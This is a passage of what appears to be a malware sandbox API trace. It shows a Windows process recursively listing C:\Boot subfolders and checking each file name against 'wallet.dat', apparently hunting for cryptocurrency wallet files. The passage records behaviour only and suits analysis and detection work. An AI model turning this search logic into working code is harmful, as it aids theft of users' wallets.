ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.481] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.481] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.481] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.481] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.481] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.482] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.482] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.482] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.483] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.483] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0266.483] lstrcmpW (lpString1="memtest.exe", lpString2="wallet.dat") returned -1 [0266.483] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0266.483] lstrcmpW (lpString1="nb-NO", lpString2="..") returned 1 [0266.483] lstrcmpW (lpString1="nb-NO", lpString2=".") returned 1 [0266.483] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.483] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="nb-NO" | out: pszDest="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0266.483] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.484] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.484] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.484] lstrcmpW (lpString1="C:\\Boot\\nb-NO", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.484] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\nb-NO" | out: psz1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0266.484] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\nb-NO" | out: psz1="C:\\Boot\\nb-NO") returned="C:\\Boot\\nb-NO" [0266.484] lstrlenW (lpString="\\*") returned 2 [0266.484] lstrlenW (lpString="C:\\Boot\\nb-NO") returned 13 [0266.484] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.484] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*" (normalized: "c:\\boot\\nb-no\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.485] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.485] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.485] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.485] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.485] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.485] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.485] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.485] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.485] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.486] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.486] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.486] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.487] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.487] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0266.487] lstrcmpW (lpString1="nl-NL", lpString2="..") returned 1 [0266.487] lstrcmpW (lpString1="nl-NL", lpString2=".") returned 1 [0266.487] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.487] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="nl-NL" | out: pszDest="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0266.487] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.487] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.487] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.487] lstrcmpW (lpString1="C:\\Boot\\nl-NL", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.487] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\nl-NL" | out: psz1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0266.487] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\nl-NL" | out: psz1="C:\\Boot\\nl-NL") returned="C:\\Boot\\nl-NL" [0266.487] lstrlenW (lpString="\\*") returned 2 [0266.487] lstrlenW (lpString="C:\\Boot\\nl-NL") returned 13 [0266.487] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.488] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*" (normalized: "c:\\boot\\nl-nl\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.489] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.489] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.489] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.489] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.489] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.489] lstrcmpW (lpString1="..", lpString2="wallet.dat") returned -1 [0266.489] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0266.489] lstrcmpW (lpString1="bootmgr.exe.mui", lpString2="wallet.dat") returned -1 [0266.489] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0266.490] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.490] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.490] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.491] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.491] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0266.491] lstrcmpW (lpString1="pl-PL", lpString2="..") returned 1 [0266.491] lstrcmpW (lpString1="pl-PL", lpString2=".") returned 1 [0266.491] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.491] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="pl-PL" | out: pszDest="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0266.491] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.491] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.491] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.491] lstrcmpW (lpString1="C:\\Boot\\pl-PL", lpString2="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned -1 [0266.491] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\pl-PL" | out: psz1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0266.491] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\pl-PL" | out: psz1="C:\\Boot\\pl-PL") returned="C:\\Boot\\pl-PL" [0266.491] lstrlenW (lpString="\\*") returned 2 [0266.491] lstrlenW (lpString="C:\\Boot\\pl-PL") returned 13 [0266.491] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.492] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*" (normalized: "c:\\boot\\pl-pl\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.492] lstrcmpW (lpString1=".", lpString2="..") returned -1 [0266.492] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0266.492] lstrcmpW (lpString1=".", lpString2="wallet.dat") returned -1 [0266.492] FindNextFileW (in: hFindFile=0x6ca540, lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName="..", cAlternateFileName="")) returned 1 [0266.492] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0266.494] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.494] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.494] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.494] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.495] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0266.495] lstrcmpW (lpString1="pt-BR", lpString2="..") returned 1 [0266.495] lstrcmpW (lpString1="pt-BR", lpString2=".") returned 1 [0266.495] LocalAlloc (uFlags=0x40, uBytes=0xa28) returned 0x6f2fe8 [0266.495] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="pt-BR" | out: pszDest="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0266.495] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.495] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.495] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.495] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\pt-BR" | out: psz1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0266.495] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\pt-BR" | out: psz1="C:\\Boot\\pt-BR") returned="C:\\Boot\\pt-BR" [0266.495] lstrlenW (lpString="\\*") returned 2 [0266.495] lstrlenW (lpString="C:\\Boot\\pt-BR") returned 13 [0266.495] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.496] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*" (normalized: "c:\\boot\\pt-br\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.497] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.498] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.498] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.498] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.498] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0266.498] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="pt-PT" | out: pszDest="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0266.498] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.498] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.498] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.499] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\pt-PT" | out: psz1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0266.499] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\pt-PT" | out: psz1="C:\\Boot\\pt-PT") returned="C:\\Boot\\pt-PT" [0266.499] lstrlenW (lpString="\\*") returned 2 [0266.499] lstrlenW (lpString="C:\\Boot\\pt-PT") returned 13 [0266.499] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.499] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*" (normalized: "c:\\boot\\pt-pt\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.500] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.500] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.500] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.500] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.500] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0266.500] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="ru-RU" | out: pszDest="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0266.501] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.501] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.501] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.501] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\ru-RU" | out: psz1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0266.501] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\ru-RU" | out: psz1="C:\\Boot\\ru-RU") returned="C:\\Boot\\ru-RU" [0266.501] lstrlenW (lpString="\\*") returned 2 [0266.501] lstrlenW (lpString="C:\\Boot\\ru-RU") returned 13 [0266.501] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.501] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*" (normalized: "c:\\boot\\ru-ru\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.503] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.503] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.503] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.503] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.504] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0266.504] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="sv-SE" | out: pszDest="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0266.504] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0266.504] LocalAlloc (uFlags=0x40, uBytes=0x218) returned 0x6f3a18 [0266.504] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6f50e8, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.504] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Boot\\sv-SE" | out: psz1="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0266.504] StrCpyW (in: psz1=0x6f3a18, psz2="C:\\Boot\\sv-SE" | out: psz1="C:\\Boot\\sv-SE") returned="C:\\Boot\\sv-SE" [0266.504] lstrlenW (lpString="\\*") returned 2 [0266.504] lstrlenW (lpString="C:\\Boot\\sv-SE") returned 13 [0266.504] LocalAlloc (uFlags=0x40, uBytes=0x11e) returned 0x6f3c38 [0266.505] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*" (normalized: "c:\\boot\\sv-se\\*"), lpFindFileData=0x24f2e8 | out: lpFindFileData=0x24f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f2fe8, dwReserved1=0x104, cFileName=".", cAlternateFileName="")) returned 0x6ca540 [0266.506] LocalFree (hMem=0x6f50e8) returned 0x0 [0266.506] LocalFree (hMem=0x6f3c38) returned 0x0 [0266.506] FindClose (in: hFindFile=0x6ca540 | out: hFindFile=0x6ca540) returned 1 [0266.507] LocalFree (hMem=0x6f2fe8) returned 0x0 [0266.507] FindNextFileW (in: hFindFile=0x6ca4c0, lpFindFileData=0x24f5a0 | out: lpFindFileData=0x24f5a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f15b0, dwReserved1=0x104, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0266.507] PathCombineW (in: pszDest=0x6f2fe8, pszDir="C:\\Boot", pszFile="tr-TR" | out: pszDest="C:\\Boot\\tr-TR") returned="C:\\Boot\\tr-TR" [0266.507] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 